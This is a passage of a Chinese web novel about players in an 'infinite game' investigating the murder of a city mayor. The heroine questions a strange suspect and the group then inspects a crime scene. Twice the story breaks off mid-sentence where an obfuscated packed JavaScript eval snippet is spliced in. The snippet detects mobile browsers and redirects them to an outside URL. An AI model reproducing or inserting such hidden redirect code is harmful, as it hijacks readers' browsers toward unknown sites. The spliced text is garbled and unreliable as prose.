她没有再劝,只是站了起来,抬手摸上了男生半长不长,遮住了面容的黑发。 然后五指合拢,毫不怜惜地将头发向下拽,强迫他抬起了头。 零碎的头发顺着脸颊扬起的弧度散落下去,露出一张绝艳的面孔。 那是一种怎样的美丽? 如玉晶莹的肌肤,底色却又是温暖的,绸缎一般的质感。 一双含情瑞凤眼,瞳孔是极少见的浓郁黑色,或许是因为生理性的疼痛而渗出一点泪,在眼眶处打转,不敢掉下来。 他的唇色极浓,是透着红的艳,比一般人要厚,微微的肉感。 他很瘦,脸颊两侧有着不显眼的凹陷,可即便如此,却连脸颊到下巴的骨相也收得漂亮,尖而不锐,润但不钝。 真是极浓艳的一张脸, 却是这样惊慌怯弱的神情,含着一点泪,愣愣看着宁汐柔。 好像被关在黑暗世界里的囚徒,带着惊慌,带着迷茫, 看着将他从牢笼中粗暴扯出来的匪徒。 “你叫什么?” 宁汐柔没有松开手, 她甚至没有放轻一点自己的力道。 但她也没有掩饰自己眼中的惊艳与兴味。 “……禾恹柳。” 男生说。 他声音里带了一点哽咽意味,像是疼哭了。 “你也是玩家?” 宁汐柔笑着问。 像是觉得那一点要掉不掉的泪有趣, 她又轻轻扯了一下他的头发。 “嗯……” 他回答道。 禾恹柳并不像是一个冷硬拒绝合作的玩家。 他刚才的沉默,好像更多是一种“游离”,他根本就不知道,也看不到听不到之前发生了什么。 是被关在某种“精神监狱”的人。 “这是角色卡名字还是真名?你为什么会成为嫌疑人?” 这次晏九夏比宁汐柔更早出声。 这好像是他第一次打断任何人的话。 宁汐柔看向他,心里想着。 “……” 这次禾恹柳又不说话了,怯生生地看向宁汐柔,那神情仿佛雏鸟在寻求庇护一般。 “回答他。” 宁汐柔松开他的头发。 本意是想安抚一下已经十分惊恐的男孩。 下一秒,她的手腕却被人紧紧握住,带着惶恐不安,如同溺水者抓住唯一的缰绳。 “为、为什么松开了?” 他结结巴巴地问着,男孩的神情里带着不解和焦急: “我、我是做、做错了什么吗?” 61. 谁杀了周承鸣(5) “嗯?” 宁汐柔一时间没反应过来,看着他。 “为、为什么不扯我的头发了?” 禾恹柳又问了一遍,每一个字都仿佛需要极大的勇气。 男孩的声音本该是清澈透亮的,此刻却带着一点嘶哑,有种声带长久未使用过导致的艰涩感。 连他的欲望,都是“纯然”的,空茫的。 宁汐柔的视线掠过他的头顶。 第一次,她在一个生命体上,看不见任何颜色的欲望燃烧。 无生无死,无爱无恨。 不是因为阔达释然,而因为,或许眼前的男孩对于世界上几乎所有的一切,都没有概念和认知。 “你不疼吗?” 宁汐柔问他。 “疼,但是,为什么放开了?” 禾恹柳的话里没有什么逻辑。 但宁汐柔居然听懂了。 他的意思是,为什么因为他疼,就放开他了? “你喜欢疼?” 宁汐柔挑了下眉。 好像也不是。 她也拥有过迷恋疼痛的猎物,但禾恹柳的表现并非是其中之一。 “不知道。” 他又一次摇头说。 他好像只能理解一些最基本的概念。 例如可以被体会的“疼痛”。 但是他无法理解他人行动的逻辑,不能理解“喜欢”这样情绪。 宁汐柔怀疑,他甚至无法理解“自我”这个概念。 一张艳色无边的面孔,和几乎是初生一般的混沌心智。 当然,这种“初生”,并非是儿童式的幼稚和不成熟,而是一种…… 一种什么呢? 宁汐柔不自觉想。 “禾恹柳,对吗?” 晏九夏问。 他第一次的问话被直接忽略了,脸上也未曾流露出任何不耐,一贯的。 他应该也发现了禾恹柳思维上的问题,所以这次的问题十分之简单。 禾恹柳看了一眼宁汐柔,应该是记得她刚才说过“要回答”,所以这次点了点头: “嗯,对,是的。” 简直就像在确认小狗认不认识自己的名字。 宁汐柔笑了下。 “你也是玩家,对吗?” 晏九夏发现这个方法似乎更好用一些,又问。 “不知道。” 禾恹柳摇头。 不知道? 不知道自己是不是玩家吗? 这个答案属实是有些离谱,连一直蹲在墙角的长发男玩家都抬起头看过来,面上一片惊讶神色。 “好,那我换个问题。你见过这个东西吗?” 晏九夏召出自己的玩家光屏。 也不知道他是怎么操作的,把理论上只有玩家自己能看到的个人光屏就这样投影在空气中。 当然,上面的信息都是模糊化的。 “嗯,对,见过。” 禾恹柳看了一会光屏,点头。 “你都是突然来到这样你不认识的地方吗?” 晏九夏又问。 诡异的,当禾恹柳越表现出对于副本,乃至于整个无限游戏的无知时, 晏九夏对他的态度就越和善。 因为好心吗? 宁汐柔看着儒雅男人身上只有一片暖色的欲望,忍不住点了点唇瓣。 她可不这么认为。 “不记得。” 禾恹柳摇了摇头。 他每说两个字,视线就会跑回到宁汐柔身上转一圈。 像只可怜巴巴的小狗,甚至不知道自己想要什么,只是下意识摇着尾巴。 宁汐柔有点被他看烦了,抬手又扯了一下他的头发,示意他专心。 当然,禾恹柳估计是也不能理解这个动作的。 “……” 禾恹柳又一次被疼痛激出来一点泪花,眼眶微红,漂亮得不可方物。 第一次,宁汐柔在看见他身上有欲望缓缓生长出来。 很浅淡的颜色,几乎要融进空气中。 是粉色的。 即使是对于魅魔宁汐柔来说,这也是十分新奇的体验。 宁汐柔的眼神专注了一点。 “好,我知道了。谢谢你。” 晏九夏的眼神也落在宁汐柔身上,半响,才对禾恹柳说。 这次,禾恹柳没对晏九夏的话做出反应。 “抱歉,可以请问一下,你叫什么吗?” 晏九夏开始问年蓁蓁。 “年蓁蓁,玩家,我一进副本的时候就已经是嫌疑人,被关在这里了,能接触到的有效消息也不多。” 年蓁蓁一股脑说了出来。 “现在是副本初期,即使只是一点不起眼的消息,也可能发挥很重要的作用。” 晏九夏的笑容似乎真诚了一分。 可能在经过禾恹柳的对比之后, 任何能够正常说人话的玩家都会在他眼中显得可爱许多。 “我还没有经历过审讯,但是看监室里的设备上,有写着‘监察部’的字样。但是送给我们签署的供状上,落款是缉查处。” 年蓁蓁说得很仔细,没有漏掉任何关键信息。 “我看设备,能猜出来这里是赛博世界背景,监察部的设备也都是非常科技化先进的,但是……缉查处送来要我们签字的供状,却用了最普通的白纸和签字笔。” 她的视线先是下意识看向宁汐柔,又在半路猛地收住,落回到晏九夏身上。 但很奇怪。 年蓁蓁是最擅长建立关系的,她从不吝啬向他人释放自己的善意信号。 连离秽口中“对人类过敏”的七蔺,都会在两天的相处之后,就把年蓁蓁当做自己的朋友。 可面对晏九夏,这个几乎是宁汐柔在无限游戏中见到过最温和儒雅,最好相处的人时。 年蓁蓁的反应却和最开始见到宁汐柔时,一模一样。 谨慎,小心, 时刻紧绷的神经和随时准备奋起自保的神情。 “你发现的线索很宝贵。” 晏九夏点头,笑着说: “副本设置既然把我们分在了两个阵营,想必是两边都有需要获取的重要信息。这段时间就辛苦你们了。” “……我会注意的。” 年蓁蓁说这句话之间,看了一眼呆呆坐在椅子上,全神贯注看着宁汐柔的禾恹柳。 终究还是说不出来“我们”两个字。 “禾恹柳,” 宁汐柔又扯扯男孩的头发。 平心而论,禾恹柳的头发手感并不好,甚至可以说得上差。 是几乎没有被好好对待过的,枯草一样的头发。 但莫名的,宁汐柔却可以想象到, 这些发丝华美如丝绸时的模样。 细碎的丝绸流淌在他瘦削白净的的身体上。 应该也会很美。 “嗯!” 男孩空茫的瞳孔瞬间亮起来,看着宁汐柔。 “保护好她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784484|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 宁汐柔抬起下巴,冲向年蓁蓁的方位。 “好!” 他很大声地回答。 当然,这个很大声,也仅仅只和他自己之前的声音相对比罢了。 宁汐柔看到他身上溢出的淡粉色欲望,仿佛轻轻晃动着,凝实了两分。 时间到了,几位玩家离开了审讯室。 在外面等待的不是谢肆言,而是之前那个白净清秀的缉查处职员。 “队长还有事要处理,让我在这里等着你们。” 他手里捧着一叠卷宗,对着宁汐柔扬起大大的笑容。 刚刚才被宁汐柔无辜指责过,现在又能这样毫无芥蒂地对她笑, 很不记仇的一个人。 “谢谢。这是?” 宁汐柔指了指他手中的卷宗。 “哦,这是队长让我给你们的!和凶杀案有关的资料卷宗!” 他把厚厚的一叠卷宗举起来,然后递到了宁汐柔的面前。 “你们可以看看!” “有点重,还是我来吧。” 晏九夏抬手接过。 宁汐柔转头看了一眼晏九夏的动作,没有抬手要拦的意思。 倒是站在她身后的七蔺脸色有点不好看了。 “你叫什么?” 宁汐柔问小职员。 “我吗?哇,还是第一次有人问我名字呢……叫我小洛就好了!” 白净职员,也就是小洛受宠若惊一样指了指自己,笑着回答道。 “现在天快黑了,你们早点回去吧?我们队长给你们专门安排了地方住!” 他说。 他从口袋里掏出一个纽扣大小的东西,看了看宁汐柔,不知想到了什么,又将东西放了回去,掏出了一个掌心大小的遥控器。 按下遥控器,一个只有足球大小的悬浮飞车飘到了玩家们眼前。 “这个是配备给你们的飞行器!” 小洛说。 “哇,你们缉查处这么豪横了,居然买了RP-301啊?” 不远处路过的监察处职员看到了,对着小洛调侃: “谢队长终于肯把预算用到刀刃上了。” 小洛也不回答,只是笑,把遥控器递给宁汐柔: “飞行器里有自动导航,我就不送你们过去了。” “这么新的型号,我不太会用。” 宁汐柔没接。 “哦哦,也是!其实很简单的,你把自己的生物信息储存进去,就可以打开飞行器里的空间钮了!” 小洛用遥控器碰了一下自己的腰带,演示给他们看。 宁汐柔接过遥控器,递给了晏九夏。 晏九夏显然知道她的意思,露出一点啼笑皆非的眼神,接过来在自己的腰带上刷了一下。 绿灯闪烁,空气中浮现出一道虚影构成的门,里面是相当宽敞的飞行器内部。 几名玩家依次走进去。 “接下来去哪儿?” 盛江齐坐在椅子上,手上的飞刀没停。 “去他们安排的住所看卷宗?” 长发男玩家又一次坐在了角落里,将自己残缺的一边耳朵冲着无人的飞行器尾部。 “去案发现场。” 宁汐柔的声音和另一个声音重复,是晏九夏。 “你也发现了。” 宁汐柔并不意外。 “嗯,谢肆言有问题。” 晏九夏说。 “他不希望我们追查周承鸣这个案子。” 62. 谁杀了周承鸣(6) 从一开始,谢肆言的态度就很奇怪。 从副本的背景设置上来说,一众玩家明明是受邀前来解决案子的侦探, 但负责案件的缉查处队长却连他们“勘察案发现场”这样的要求都一再推拒。 “不对啊,这种大案子,上面给他的压力一定很大,他不想着快速破案,反而要往后拖?” 盛江齐摸着自己的飞刀,有点疑惑。 “如果是为了应对上层压力快速结案,直接将所有罪名按到一个嫌疑人头上也是不错的方法。” 晏九夏说着,翻开自己手里的档案。 档案最上方的,就是对年蓁蓁和禾恹柳两个嫌疑人的笔录。 [嫌疑人:年蓁蓁(现用名)] [年龄:23] [职业:无业] [抓捕时间:9078年8月19日] [嫌疑人:禾恹柳] [年龄:19] [职业:无业] [抓捕时间:9078年8月18日] “嫌疑人档案上用的是真名。” 宁汐柔说。 “他们既然是嫌疑人,拿的应该就是原住民身份卡,为什么会用自己的名字?” 七蔺也露出一点疑惑。 “档案里的内容也很粗糙。 只写了年蓁蓁家里发现了带有周承鸣生物信息的人体组织碎片, 以及禾恹柳出现在案发现场,身上带着周承鸣血迹这两件事。” 晏九夏快速扫了一眼,转头和宁汐柔说。 现在已经是9078年9月03日,年蓁蓁和禾恹柳分别被抓捕了最少已经有两周的时间。 这两周里,他们没有经历任何审讯,也没有留下任何记录吗? 这不合逻辑。 “这不是需要快速结案的人会做的事。” 宁汐柔放下手里的纸质档案,皱起眉。 在副本钥匙,也就是平里市发来的侦探邀请函上, 市长“周承鸣”之死,轰动了整个平里市上下,是一桩极其重要的大案要案。 为此,平里市迅速逮捕了两名嫌疑人,并且开始侦查工作。 可现在…… 宁汐柔笑了一声。 “整个平里市,真的有人在乎‘周承鸣’的死吗?” 她突然说。 “还是得先去案发现场看看。” 晏九夏说着,在导航光屏上操作起来。 “你知道案发现场在哪儿?” 盛江齐问。 她身上有一种很少见的“平等”感。 即便她实力地位远逊于晏九夏,她也半点没有服从讨好他的意思,直接开口就问。 同样的,即使对着长发男玩家方才那些极为胆怯懦弱的表现,她也完全没有流露出鄙夷或厌恶的态度。 “市政厅,市长办公室。” 七蔺拿起一张档案,对着她晃了晃。 “我看到那个了,我的意思是,我们怎么知道办公室在哪?” 盛江齐有一瞬间的无语。 市政厅这样的公共执政地点,是显然的公知信息,只要输入导航就可以知道在哪里。 但市长办公室具体是哪一个房间,是不可能被标注在一楼导航栏的。 “而且,没有谢肆言带着,我们能进去吗?” 长发男玩家缩在角落里,弱弱地问了一句。 “拿侦探身份进。” 七蔺说。 “郑南的担心有道理,毕竟谢肆言才是负责这个案件的人。” 晏九夏说。 郑南,指得应该就是长发男玩家。 但,晏九夏是怎么知道他的名字的? “你们不是没见过吗?” 宁汐柔问。 “刚刚才想起来,好像是有过一面之缘。” 晏九夏笑了,很和气地说。 他没有看向郑南。 然而对方在他发出声音的瞬间,后背就再一次撞上车座,像只被卡住了脖子的乌鸦,瑟瑟发抖着,说不出来一句话。 郑南的反应为什么那么大? 他到底是在恐惧晏九夏身上的什么? 而郑南有多恐惧自己,晏九夏不可能看不出来。 善于体察情绪的晏九夏,又为什么要再一次主动和郑南对话? 宁汐柔看着晏九夏依然带着笑意的侧脸,一时间有点出神。 他身上,一如既往,正面,甚至可以说得上“善良”的欲望。 他在享受。 享受什么? 享受郑南对他的恐惧, 还是自己可以轻易摧毁郑南精神防线的,这份权力? “那你们可要好好叙叙旧了。毕竟,他似乎对你印象深刻。” 宁汐柔似笑非笑。 不管是对禾恹柳的耐心,还是对郑南的熟稔,都让她觉得。 寡淡的老好人,好像也有意思起来了。 飞行器自动驾驶,很快到达了目的地。 晏九夏打开空间钮,几名玩家从车内出来。 市政厅是一栋全部由玻璃幕墙制成的摩天大楼. 从外部来看几乎没有任何承重结构,完全依靠玻璃的自身结构支撑。 “哇,像多米洛骨牌搭起来的一样,” 盛江齐感叹了一句: “好想推倒啊。” 白天被玻璃反射光照着,晚上被广告灯牌照着。 赛博都市的另一个名字是光污染吗? 宁汐柔想。 几人走进市政厅,站在门口的不是迎宾员,而是一排机器人。 和宁汐柔刚进入副本时看到的一样,胸口带着地棘集团标志的机械战警。 不过这一排机器人应该更偏向于日常安保使用。 他们武装程度要更低,身上配备的作战设备也少很多。 它们的机体配色简约又不乏设计感,以白色为主色调,搭配两三种颜色深浅不同的蓝、 只有胸口处的地棘图腾依旧是极浓的红。 “请出示生物信息。” 站在第一个的机器人说道。 它伸出手,看向宁汐柔。 应该是瞳孔的位置,有红蓝色的光点闪烁。 宁汐柔将自己的手放在它掌心。 金属机械的触感,很凉。 “生物信息验证已通过,宁侦探,欢迎您。” 机器人后退一步,重新归队。 正打算排在第二个的盛江齐看了一眼机器人,问: “我们也要进去,不用验吗?” “随行访客信息已登记。” 机器人回答。 什么意思? 是只有宁汐柔需要验证生物信息,其他人都不需要。 还是其实验证生物信息这件事其实不需要“握手”这么人格化的方式。 “我们想去市长周承鸣的办公室,勘察案发现场。” 宁汐柔说, “你能带我们去吗?” 七蔺猜得没错。 玩家们现在的侦探身份,已经在市政厅系统里过了明路。 理论上,他们进行“探案”的任何行动,都可以要求平里市官方的协助。 “可以,我将为您带路。” 机器人又一次走上前来。 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788288|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汐柔这次看到了它胸口处,地棘图腾之下的编号: AEW-9015 电梯在87层停下,9015停下,目送玩家几人走出电梯。 “宁侦探,祝您一切顺利。” 在电梯门合上之前,它突然说。 “它怎么对你这么特殊啊?” 盛江齐笑了一声,转头问宁汐柔。 “不知道。” 宁汐柔摇摇头,问她: “你觉得呢?” “我觉得这里头有故事,” 盛江齐一本正经地说着,又笑开了: “不过,我这个人对故事不感兴趣。” “看出来了。” 宁汐柔点点头。 “你叫宁汐柔?我在排行榜上没看到过你,你的铭牌是什么?” 盛江齐很好奇地看着宁汐柔。 “我没有铭牌。” 宁汐柔摇头。 “不可能!你不可能不在榜上啊。” 盛江齐语气笃定。 “……你对我的实力倒是很有信心。为什么不可能?” 宁汐柔问。 “反正,你肯定很强。比我强,也比他强。” 盛江齐没回答,笑了一声,看了一眼走在前面的晏九夏,说: “你会杀他吗?” “不知道。” 宁汐柔也笑了,声音轻快: “看心情吧。” 周承鸣的办公室很大。 可以说,整个87层都属于他。 与其说是办公室,不如说这里更符合“生活区域”这个概念。 巨大的空中花园坐落在中心,围绕着空中花园的区域,被分成四个部分。 一开始走进的是宽敞的会客区, 长达十几米的落地窗只用了一块玻璃制成,没有一丝瑕疵。 再往里走,是就是周承鸣的办公区。 高达数米的书柜里放着无数个办公文件。 和缉查处现在还在使用纸币的古老风格不同, 这里的每一份卷宗都是被放在了透明保险盒子里的磁盘。 办公区往后,来到了休闲区。 这里的生活痕迹明显丰富了起来。 咖啡厅,电影院,甚至还建了一个迷你高尔夫球场。 在最里面的,就是休息区。 也是这次案件的案发现场。 宁汐柔走了进去。 这是一个半开放的卧室,没有做门的隔断,只用玻璃做了遮挡。 里面最显眼的就是一张巨大的圆床。 圆床上现在空无一物,尸体已经被挪走了。 只是空气中浓烈的血腥味依然没有散去。 “这么发达的地方,没有新风系统吗……” 盛江齐啧了一声。 七蔺也闻到了空气中的血腥味。 她鼻尖微动,面上浮现出明显的不解之色。 “怎么了?” 宁汐柔问。 “这个味道,有问题。” 七蔺说。 “什么问题?” 宁汐柔皱起眉,她隐隐也感到了一点不对劲。 “这个血,太新鲜了。” 七蔺缓缓说。 根据档案中的现场勘查情况。 平里市市长周承鸣,在9078年8月17日遇害,迄今已经有半个月的时间了。 但是这里空气中的血迹,非常新鲜。 新鲜得过头了。 这样的血腥气,只有在清晨的屠宰场才能闻到。 有人在这里被杀了。 就在他们走进来之前。